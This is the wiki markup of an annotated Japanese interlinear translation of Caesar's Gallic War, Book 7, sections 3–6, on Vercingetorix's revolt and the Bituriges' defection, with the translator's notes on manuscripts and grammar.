*[[wikt:en:clamor#Latin|clamore]] per [[wikt:en:ager#Latin|agros]] [[wikt:en:regio#Latin|regiones]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:significant#Latin|significant]]; 
**耕地や&lt;small&gt;（集落の）&lt;/small&gt;区域を介して、大声で呼びかける。
*&lt;u&gt;hinc&lt;/u&gt; [[wikt:en:alius#Latin|alii]] [[wikt:en:deinceps#Latin|deinceps]] [[wikt:en:excipiunt|excipiunt]] 
**ここから、別の者たちが続けて引き受けて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の大半では [[wikt:en:hanc#Latin|hanc]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:hinc#Latin|hinc]] 「ここから」、&lt;br&gt;　　　　　　　　　写本Sでは [[wikt:en:hunc|hunc]] となっている。）&lt;/span&gt;
*et [[wikt:en:proximus#Noun|proximis]] [[wikt:en:tradunt|tradunt]]; 
**近隣の者たちへ伝える。
*ut tum [[wikt:en:accidit#Etymology_1|accidit]]. 
**そのときにも&lt;small&gt;（同様のことが）&lt;/small&gt;起こったのである。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Nam, quae &lt;u&gt;Cenabi&lt;/u&gt; [[wikt:en:oriens#Latin|oriente]] [[wikt:en:sol#Latin|sole]] gesta essent, 
**ケナブムで日が昇るときになされていたこと&lt;small&gt;〔襲撃〕&lt;/small&gt;が、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：Cenabi はケルト語風の読みで、''[[ガリア戦記/注解編/写本と校訂版#Vossius|Vossius]]'' による修正提案。&lt;br&gt;　　　　　主要写本&amp;omega; では genabi となっている。　⇒ [[wikt:en:Genabum#Latin|Genabum]]）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:gestus#Latin|gesta]] [[wikt:en:essent#Etymology_1|essent]] は [[wikt:en:gero#Latin|gerō]] の3人称･複数･過去完了･受動･接続法。）&lt;/span&gt;
*ante [[wikt:en:primus#Latin|primam]] [[wikt:en:confectus#Latin|confectam]] [[wikt:en:vigilia#Latin|vigiliam]] 
**第一夜警時の終わる前頃には
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：第一夜警時は、日の入から真夜中までの時間帯の前半「宵の口」。&lt;br&gt;　　　　　[[古代ローマの不定時法#夜警時|#夜警時]] を参照。）&lt;/span&gt;
*in finibus [[wikt:en:Arverni#Latin|Arvernorum]] audita sunt, 
**アルウェルニー族の領土において聞かれた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:auditus#Latin|audita]] [[wikt:en:sunt#Latin|sunt]] は [[wikt:en:audio#Latin|audiō]] の3人称･複数･完了･受動･直説法）&lt;/span&gt;
*[[wikt:en:qui#Latin|quod]] [[wikt:en:spatium#Latin|spatium]] est [[wikt:en:mille#Latin|milium]] [[wikt:en:passus#Etymology_2|passuum]] circiter [[wikt:en:centum#Latin|centum]] [[wikt:en:sexaginta#Latin|sexaginta]](CLX).
**約160ローママイルもの隔たりがあったのに。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ミーッレ・パッスーム、ミーリア（ローママイル）|ローママイル]]は約1.48 kmで、160マイルは約240 km）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
==ウェルキンゲトリークスとガッリア同盟軍の蜂起==
===4節===
[[画像:Vercingetorix stater CdM.jpg|thumb|right|200px|“&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;(VERCIN)GETORIXS&lt;/span&gt;”の名と横顔が刻まれた金貨。]]
[[画像:Vercingétorix_par_Millet.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の立像（フランスのアリーズ＝サント＝レーヌ &lt;small&gt;[[w:fr:Alise-Sainte-Reine|Alise-Sainte-Reine]]&lt;/small&gt;）。&lt;br&gt;近代[[w:ナショナリズム|ナショナリズム]]の高揚とともに[[w:フランス|フランス]]国民が自らを古代[[w:ガリア人|ガッリア人]]の末裔と見なすようになると（[[w:ガリア起源説|ガッリア起源説]]）、ガッリア諸部族を率いて[[w:古代ローマ|古代ローマ]]と戦った彼は「'''フランス最初の英雄'''」として祀り上げられた。[[w:フランス第二帝政|第二帝政]]期に皇帝[[w:ナポレオン3世|ナポレオン3世]]の命により[[w:アレシアの戦い|アレスィア古戦場]]の発掘調査が実施され、[[w:1865年|1865年]]にはその地に彫刻家エメ・ミレ（[[w:fr:Aimé Millet|Aimé Millet]]）による高さ7メートルの銅像が建立された。&lt;br&gt;（[[w:fr:Vercingétorix_(statue_d'Aimé_Millet)|fr:La statue de Vercingétorix]]）]]
[[画像:Statue-vercingetorix-jaude-clermont.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の騎馬像([[w:fr:Statue équestre de Vercingétorix (Frédéric Auguste Bartholdi)|fr]])。彼の出身地ゲルゴウィアの近く、[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]中央広場に建つ。[[w:1903年|1903年]]に、[[w:自由の女神像 (ニューヨーク)|自由の女神像]]の作者として著名な彫刻家[[w:フレデリク・バルトルディ|フレデリク・オーギュスト・バルトルディ]]によって建立された。[[w:フランス語|フランス語]]で「我は皆の自由のために武器を取った」« J’ai pris les armes pour la liberté de tous » と刻まれている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/4節]]　{{進捗|00%|2025-11-24}}&lt;/span&gt;
;アルウェルニー族のウェルキンゲトリークスが挙兵、ガッリア諸部族同盟軍を指揮する
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:similis#Latin|Simili]] [[wikt:en:ratio#Latin|ratione]] ibi 
**そこ&lt;small&gt;〔アルウェルニー族領〕&lt;/small&gt;でも同様のやり方によって、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]という、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ガリア語 [[wikt:en:Reconstruction:Gaulish/Werkingetorix|*Werkingetorīx]] は「戦士たちの最高の王」という意味で、&lt;br&gt;　　　　　ガッリア同盟軍の最高司令官にふさわしい呼び名である。&lt;br&gt;　　　　　《[[ガリア戦記/ガリア語の名前#Vercingetorix|'''ガリア語の名前'''#Vercingetorix]]》 を参照せよ。）&lt;/span&gt;
*[[wikt:fr:Celtillus|Celtilli]] filius, [[wikt:en:Arvernus#Latin|Arvernus]], 
**ケルティッルスの息子で[[w:アルウェルニ族|アルウェルニー族]]の者で、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:en:Celtillus|Celtillus]]'' はガリア語で「小さなケルト人」という意味だと解される。）&lt;/span&gt;
*[[wikt:en:summus#Adjective|summae]] [[wikt:en:potentia#Latin|potentiae]] [[wikt:en:adulescens#Noun|adulescens]], 
**最高の影響力のある青年が、
*cuius [[wikt:en:pater#Latin|pater]] [[wikt:en:principatus#Latin|principatum]] Galliae [[wikt:en:totus#Etymology_1|totius]] [[wikt:en:obtinuerat|obtinuerat]] 
**──その父&lt;small&gt;〔ケルティッルス〕&lt;/small&gt;はガッリア全体の主導権を占めていたが、
*et ob eam causam, quod [[wikt:en:regnum#Latin|regnum]] [[wikt:en:adpetebat|adpetebat]], ab [[wikt:en:civitas#Latin|civitate]] erat [[wikt:en:interfectus#Latin|interfectus]], 
**王位を求めたという理由により、部族の者によって誅殺されていたのであるが、──
*[[wikt:en:convocatus#Latin|convocatis]] suis [[wikt:en:cliens#Latin|clientibus]] 
**自らの庇護者たちを招集して、
*facile [[wikt:en:incendit|incendit]]. 
**容易に焚き付けた。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:cognitus#Participle|Cognito]] eius [[wikt:en:consilium#Latin|consilio]] 
**彼の計画を知ると、
*ad [[wikt:en:arma#Latin|arma]] [[wikt:en:concurritur|concurritur]]. 
**&lt;small&gt;（人々は）&lt;/small&gt;武器のもとへ群がり集まった。
*[[wikt:en:prohibetur|Prohibetur]] ab [[wikt:fr:Gobannitio|Gobannitione]], [[wikt:en:patruus#Latin|patruo]] suo, [[wikt:en:reliquus#Latin|reliquis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:princeps#Noun_3|principibus]], 
**彼の&lt;small&gt;（父方の）&lt;/small&gt;おじゴバンニティオやほかの領袖たちにより妨げられた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Gobannitio|Gobannitio]]'' は「鍛冶屋」か「鍛冶の神」に由来する名前と解される。）&lt;/span&gt;
*qui hanc [[wikt:en:temptandus#Latin|temptandam]] [[wikt:en:fortuna#Latin|fortunam]] non [[wikt:en:existimabant|existimabant]]; 
**その者たちは、このような運命を試すべきとは考えていなかったのだ。
*[[wikt:en:expellitur|expellitur]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:Gergovia#Latin|Gergovia]]; 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;城塞都市ゲルゴウィアから追放される。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; non [[wikt:en:destitit|destitit]] tamen 
**しかしながら&lt;small&gt;（彼は計画を）&lt;/small&gt;取り止めず、
*atque in agris habet [[wikt:en:dilectus#Noun|dilectum]] [[wikt:en:egens#Latin|egentium]] ac [[wikt:en:perditor#Noun|perditorum]]. 
**野に貧窮者たちやならず者たちを徴集する。
:　
*Hac [[wikt:en:coactus#Latin|coacta]] [[wikt:en:manus#Latin|manu]], 
**こうした手勢が集められ、
*[[wikt:en:quoscumque|quoscumque]] [[wikt:en:adit#Latin|adit]] ex civitate, 
**部族のうちで&lt;small&gt;（彼が）&lt;/small&gt;会った者は誰であれ、
*ad suam [[wikt:en:sententia#Latin|sententiam]] [[wikt:en:perducit|perducit]]; 
**自らの意図に引き込んだ。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:hortatur|hortatur]] ut [[wikt:en:communis#Latin|communis]] [[wikt:en:libertas#Latin|libertatis]] causa [[wikt:en:arma#Latin|arma]] [[wikt:en:capiant|capiant]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の自由のために武器を取るように鼓舞した。
*[[wikt:en:magnus#Latin|magnis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:coactus#Latin|coactis]] [[wikt:en:copia#Latin|copiis]] 
**大軍勢が集められて、
*[[wikt:en:adversarius#Latin|adversarios]] suos, a quibus paulo ante erat [[wikt:en:eiectus#Latin|eiectus]], 
**少し前に&lt;small&gt;（彼をゲルゴウィアから）&lt;/small&gt;放逐したところの敵対者たちを、
*[[wikt:en:expellit|expellit]] ex civitate. 
**部族から追放する。
*[[wikt:en:rex#Latin|Rex]] ab suis [[wikt:en:appellatur|appellatur]]. 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;配下の者たちから王と呼ばれている。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:dimittit|Dimittit]] [[wikt:en:quoque#Latin|quoque]] [[wikt:en:versus#Adverb|versus]] [[wikt:en:legatio#Latin|legationes]]; 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;あらゆる方向へ使節団を派遣して、
*[[wikt:en:obtestatur|obtestatur]] ut in [[wikt:en:fides#Latin|fide]] [[wikt:en:maneant|maneant]]. 
**誓約に留まるようにと、懇願する。
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Celeriter sibi 
**速やかに、自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;に対して
*[[wikt:en:Senones#Latin|Senones]], [[wikt:en:Parisii#Latin|Parisios]], [[wikt:en:Pictones#Latin|Pictones]], [[wikt:en:Cadurci#Latin|Cadurcos]], &lt;u&gt;Turonos&lt;/u&gt;, [[wikt:en:Aulerci#Latin|Aulercos]], [[wikt:en:Lemovices#Latin|Lemovices]], &lt;u&gt;Andes&lt;/u&gt; 
**セノネース族、パリースィイー族、ピクトネース族、カドゥルキー族、&lt;br&gt;&lt;u&gt;トゥロニイー族&lt;/u&gt;、アウレルキー族、レモウィーケース族、アンデース族、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部のトゥロニイー族 ''[[w:Turoni|Turoni]]'' は、トゥロネース族 ''[[wikt:en:Turones#Latin|Turonēs]]'' ともいう。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、&amp;alpha;系写本では [[wikt:en:Andi#Latin|Andos]]「アンディー族」だが、&lt;br&gt;　　　　　　　　　　　　　''[[ガリア戦記/注解編/写本と校訂版#Glareanus|Glareanus]]'' は、[[wikt:en:Andes#Latin|Andēs]]「アンデース族」と修正提案し、&lt;br&gt;　　　　　　　　　　　　　これは別名「アンデカーウィー族」''[[wikt:en:Andecavi#Latin|Andecāvī]]'' ともいう。）&lt;/span&gt;
*reliquosque omnes, qui [[wikt:en:Oceanus#Latin|Oceanum]] [[wikt:en:adtingunt|adtingunt]], [[wikt:en:adiungit|adiungit]]; 
**および&lt;ruby&gt;&lt;rb&gt;大洋&lt;span style=&quot;color:#009900;&quot;&gt;〔[[w:大西洋|大西洋]]〕&lt;/span&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オーケアヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に接するほかの全部族を、加盟させる。
*omnium [[wikt:en:consensus#Latin|consensu]] 
**すべての者たちの同意により、
*ad eum [[wikt:en:defertur|defertur]] [[wikt:en:imperium#Latin|imperium]]. 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;に&lt;small&gt;（諸部族の）&lt;/small&gt;軍勢指揮権が譲り渡される。
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Qua [[wikt:en:oblatus#Latin|oblata]] [[wikt:en:potestas#Latin|potestate]] 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;その権限が任されると、
*omnibus his civitatibus [[wikt:en:obses#Latin|obsides]] [[wikt:en:imperat|imperat]], 
**これらすべての部族に人質&lt;small&gt;（の供出）&lt;/small&gt;を命令して、
*[[wikt:en:certus#Latin|certum]] numerum [[wikt:en:miles#Latin|militum]] ad se celeriter [[wikt:en:adduci#Latin|adduci]] [[wikt:en:iubet#Latin|iubet]], 
**兵の一定の数が自分のもとへ速やかに動員されることを命じる。
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; [[wikt:en:arma#Latin|armorum]] [[wikt:en:quantum#Latin|quantum]] [[wikt:en:quisque#Latin|quaeque]] civitas [[wikt:en:domi#Latin|domi]] [[wikt:en:quisque#Latin|quodque]] ante tempus [[wikt:en:efficiat|efficiat]], [[wikt:en:constituit#Latin|constituit]]; 
**おのおのの部族が本国で、武器のどれほどをその時期の前に生産するかを、決定した。
*in primis [[wikt:en:equitatus#Latin|equitatui]] [[wikt:en:studet|studet]]. 
**とりわけ、[[w:騎兵|騎兵隊]]を熱心に求めた。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Summae diligentiae summam [[wikt:en:imperium#Latin|imperii]] [[wikt:en:severitas#Latin|severitatem]] addit; 
**&lt;small&gt;&lt;/small&gt;（ウェルキンゲトリークスは）最高の入念さに、命令の最高の厳格さを付け加える。
*magnitudine [[wikt:en:supplicium#Latin|supplicii]] [[wikt:en:dubitans#Latin|dubitantes]] cogit. 
**重大な刑罰をふんぎりが付かぬ者たちへ強いる。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Nam maiore commisso delicto &lt;u&gt;igni&lt;/u&gt; atque omnibus tormentis necat, 
**すなわち、より重大な違反を犯したら、火とあらゆる拷問によって誅殺した。
*leviore de causa auribus desectis aut singulis effossis oculis domum remittit, 
**より軽微な場合については、両耳を切り取り、あるいは眼を一つずつ繰り抜いて、郷里へ送還する。
*ut sint reliquis documento et magnitudine poenae perterreant alios.
**ほかの者たちへの警告となり、懲罰の重大さが別の者たちを畏怖させるようにである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===5節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/5節]]　{{進捗|00%|2025-12-14}}&lt;/span&gt;
;ビトゥリゲース族が、ガッリア同盟軍に寝返る
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His [[wikt:en:supplicium#Latin|suppliciis]] celeriter [[wikt:en:coactus#Latin|coacto]] [[wikt:en:exercitus#Noun|exercitu]], 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;これらの刑罰により速やかに軍隊を徴集して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「軍隊」と訳される [[wikt:en:exercitus#Noun|exercitus]] には「鍛えられて規律がある」という意味合いがあり、&lt;br&gt;　　　　これまでカエサルがガッリア人の軍勢をこのように表現したことはまれであった。）&lt;/span&gt;
*[[wikt:en:Lucterius#Latin|Lucterium]] [[wikt:en:Cadurcus#Latin|Cadurcum]], [[wikt:en:summus#Latin|summae]] hominem [[wikt:en:audacia#Latin|audaciae]], 
**この上なく豪胆な人物であるカドゥルキー族のルクテリウスを
*cum parte [[wikt:en:copiarum#Noun_2|copiarum]] in [[wikt:en:Ruteni#Latin|Rutenos]] [[wikt:en:mittit|mittit]]; 
**軍勢の一部とともにルテーニー族のところに遣わす。
*ipse in [[wikt:en:Bituriges#Latin|Bituriges]] [[wikt:en:proficiscitur|proficiscitur]]. 
**&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自身はビトゥリゲース族のところに出発する。
:　
;　　　ビトゥリゲース族が、ハエドゥイー族に、対ウェルキンゲトリークスのための援兵を依頼
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eius [[wikt:en:adventus#Latin|adventu]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の到来により、
*[[wikt:en:Bituriges#Latin|Bituriges]] ad [[wikt:en:Aeduos|Haeduos]], quorum erant in [[wikt:en:fides#Latin|fide]], 
**ビトゥリゲース族は、彼らが庇護下にあった[[w:ハエドゥイ族|ハエドゥイー族]]のもとへ、
*[[wikt:en:legatus#Latin|legatos]] [[wikt:en:mittunt|mittunt]] [[wikt:en:subsidium#Latin|subsidium]] [[wikt:en:rogatum#Verb|rogatum]], 
**使節たちを、&lt;small&gt;（ハエドゥイー族からの）&lt;/small&gt;援兵を依頼するために派遣する。
*[[wikt:en:quo#Adverb|quo]] [[wikt:en:facile#Latin|facilius]] hostium copias [[wikt:en:sustinere|sustinere]] [[wikt:en:possint|possint]]. 
**それにより、敵の軍勢をより容易に持ちこたえることができるようにということであった。
:　
;　　　ハエドゥイー族が、ビトゥリゲース族に対して援兵を派兵
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:Aedui#Latin|Haedui]] de [[wikt:en:consilium#Latin|consilio]] [[wikt:en:legatus#Latin|legatorum]], quos Caesar ad [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:reliquerat|reliquerat]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]は、カエサルが軍隊のもとへ残していた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちの助言により、
*copias [[wikt:en:equitatus#Noun|equitatus]] [[wikt:en:peditatus#Latin|peditatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:subsidium#Latin|subsidio]] [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:mittunt|mittunt]]. 
**[[w:騎兵|騎兵隊]]と[[w:歩兵|歩兵隊]]の軍勢をビトゥリゲース族に対する援兵として派遣する。
:　
;　　　ハエドゥイー族の援兵が、ビトゥリゲース族の寝返りを怖れて、途中で逃げ帰ってしまう
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Qui cum ad flumen [[wikt:en:Liger#Latin|Ligerim]] [[wikt:en:venissent|venissent]], quod [[wikt:en:Bituriges#Latin|Bituriges]] ab [[wikt:en:Aeduis|Haeduis]] [[wikt:en:dividit#Latin|dividit]], 
**その者たち&lt;small&gt;〔援兵〕&lt;/small&gt;は、ビトゥリゲース族を[[w:ハエドゥイ族|ハエドゥイー族]]から分け隔てるリゲル川のたもとへやって来たときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リゲル川 [[w:la:Liger|Liger]] は、現在の[[w:ロワール川|ロワール川]]。&lt;br&gt;　　　　本書に登場するビトゥリゲース・クビ族 ''[[w:en:Bituriges Cubi|Bituriges Cubi]]'' は、&lt;br&gt;　　　　　ロワール川西岸の[[w:シェール県|シェール県]]の辺りに居住していた。&lt;br&gt;　　　　対して、[[w:ハエドゥイ族|ハエドゥイー族]]は、&lt;br&gt;　　　　　ロワール川東岸の[[w:ニエーヴル県|ニエーヴル県]]の辺りに居住していた。）&lt;/span&gt;
[[画像:Map of Eduens people-fr.svg|thumb|right|250px|[[w:ハエドゥイ族|ハエドゥイー族]]を軸とするガッリアの合従連衡（&lt;small&gt;フランス語表記&lt;/small&gt;）。赤い部分がハエドゥイー族（Eduens）、桃色・茶色の部分が同盟部族、灰色の部分が敵対する[[w:アルウェルニ族|アルウェルニー族]]（Arvernes）とセクアニ族（Sequanes）の領域である。茶色のビトゥリゲース族（Bituriges）と赤いハエドゥイー族（Eduens）の境界に沿ってリゲル川（[[w:ロワール川|ロワール川]]）が流れていることが見て取れる。川の西岸はビトゥリゲース族とアルウェルニー族の勢力圏になっている。]]
*paucos dies ibi [[wikt:en:moratus#Participle|morati]] 
**わずかな日々をそこでぐずぐずして、
*neque flumen [[wikt:en:transire#Latin|transire]] [[wikt:en:ausus#Participle|ausi]] [[wikt:en:domus#Latin|domum]] [[wikt:en:revertuntur|revertuntur]] 
**川をあえて渡らずに、故国に引き返す。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:legatus#Latin|legatis]]&lt;nowiki&gt;que&lt;/nowiki&gt; nostris [[wikt:en:renuntiant|renuntiant]] 
**&lt;small&gt;（ハエドゥイー族の援兵たちが）&lt;/small&gt;我が方&lt;small&gt;〔ローマ方〕&lt;/small&gt;の&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに報告したことには、
*se [[wikt:en:Bituriges#Latin|Biturigum]] [[wikt:en:perfidia#Latin|perfidiam]] [[wikt:en:veritus#Latin|veritos]] [[wikt:en:revertisse|revertisse]], 
**自分たち&lt;small&gt;〔援兵〕&lt;/small&gt;は、ビトゥリゲース族の寝返りを恐れて引き返した。
*quibus id [[wikt:en:consilium#Latin|consilii]] fuisse [[wikt:en:cognoverint|cognoverint]], 
**彼らには、以下のような謀計があったことを探知したのだ。
*ut, si flumen [[wikt:en:transissent#Latin|transissent]], una ex parte ipsi, altera [[wikt:en:Arverni#Latin|Arverni]] se [[wikt:en:circumsisterent|circumsisterent]]. 
**もし川を渡ったら、一方から&lt;small&gt;（ビトゥリゲース族）&lt;/small&gt;自身が、他方から[[w:アルウェルニ族|アルウェルニー族]]が自分たちを包囲するというものだ、と。
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Id ea&lt;span style=&quot;background-color:#ffa;&quot;&gt;[[wikt:la:-ne|ne]]&lt;/span&gt; de causa, quam [[wikt:en:legatus#Latin|legatis]] &lt;u&gt;pronuntiarunt&lt;/u&gt;, 
**そのことは&lt;small&gt;（援兵たちが）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに報告した理由によって&lt;small&gt;（なしたのか？）&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:-ne#Latin|-ne]] ～ [[wikt:en:an#Latin|an]] …；～であるか、あるいは…であるか。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:pronuntiarunt|pronuntiarunt]]&lt;sub&gt;&amp;nbsp;(直接法･完了形)&lt;/sub&gt; は古い印刷本 ''[[ガリア戦記/注解編/写本と校訂版#クリティカル・アパラトゥスとその略号|edd.vett.]]'' の記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本では [[wikt:en:pronuntiarint|pronuntiarint]]&lt;sub&gt;&amp;nbsp;(接続法･完了形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　&amp;beta;系写本では [[wikt:en:pronuntiaverint|pronuntia&lt;u&gt;ve&lt;/u&gt;rint]]&lt;sub&gt;&amp;nbsp;(接続法･完了形)&lt;/sub&gt; となっている。）&lt;/span&gt;
*&lt;span style=&quot;background-color:#ffa;&quot;&gt;[[wikt:la:an|an]]&lt;/span&gt; [[wikt:en:perfidia#Latin|perfidia]] [[wikt:en:adductus#Latin|adducti]] [[wikt:en:fecerint|fecerint]], 
**あるいは&lt;small&gt;（ビドゥリゲース族の）&lt;/small&gt;寝返りに動かされて、なしたのか？
*[[wikt:en:quod#Conjunction|quod]] [[wikt:en:nihil#Latin|nihil]] nobis [[wikt:en:constat#Latin|constat]], 
**我々&lt;small&gt;〔ローマ人〕&lt;/small&gt;には何ら定かではないので、
*non [[wikt:en:videtur|videtur]] pro [[wikt:en:certus#Latin|certo]] esse &lt;u&gt;proponendum&lt;/u&gt;. 
**確言するべきであるとは思われない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：～ pro certo ponere；～を確かであると主張する）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:proponendum|&lt;u&gt;pro&lt;/u&gt;ponendum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:ponendum|ponendum]] となっている。）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ビトゥリゲース族が、ローマ人やハエドゥイー族から離反して、アルウェルニー族と同盟してしまう
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:Bituriges#Latin|Bituriges]] eorum [[wikt:en:discessus#Noun|discessu]] 
**ビトゥリゲース族は、彼ら&lt;small&gt;〔援兵〕&lt;/small&gt;の撤収により、
*[[wikt:en:statim#Latin|statim]] &lt;u&gt;se&lt;/u&gt; cum [[wikt:en:Arverni#Latin|Arvernis]] &lt;u&gt;coniunguntur&lt;/u&gt;.
**ただちに[[w:アルウェルニ族|アルウェルニー族]]と&lt;small&gt;（同盟を）&lt;/small&gt;結んだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:iunguntur|iunguntur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では se ～ [[wikt:en:coniungunt|coniungunt]] となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===6節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/6節]]　{{進捗|00%|2025-12-15}}&lt;/span&gt;
[[画像:Warsaw Royal Castle GM (12).JPG|thumb|right|200px|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の立像（[[w:ワルシャワ歴史地区|ワルシャワ王宮]]）。彼は首都の騒乱を鎮めるために単独の[[w:執政官|執政官]]として大権を与えられ、イタリアの徴兵権を得た。[[w:三頭政治|三頭政治]]後のこの混乱期に、彼はカエサルの政敵たちからこぞって支持されたが、危機に瀕していたカエサルを打倒する絶好の機会を見送った。これは重大な逸機であり、数年後にポンペイウスにとって致命的な結果をもたらすことになる。]]
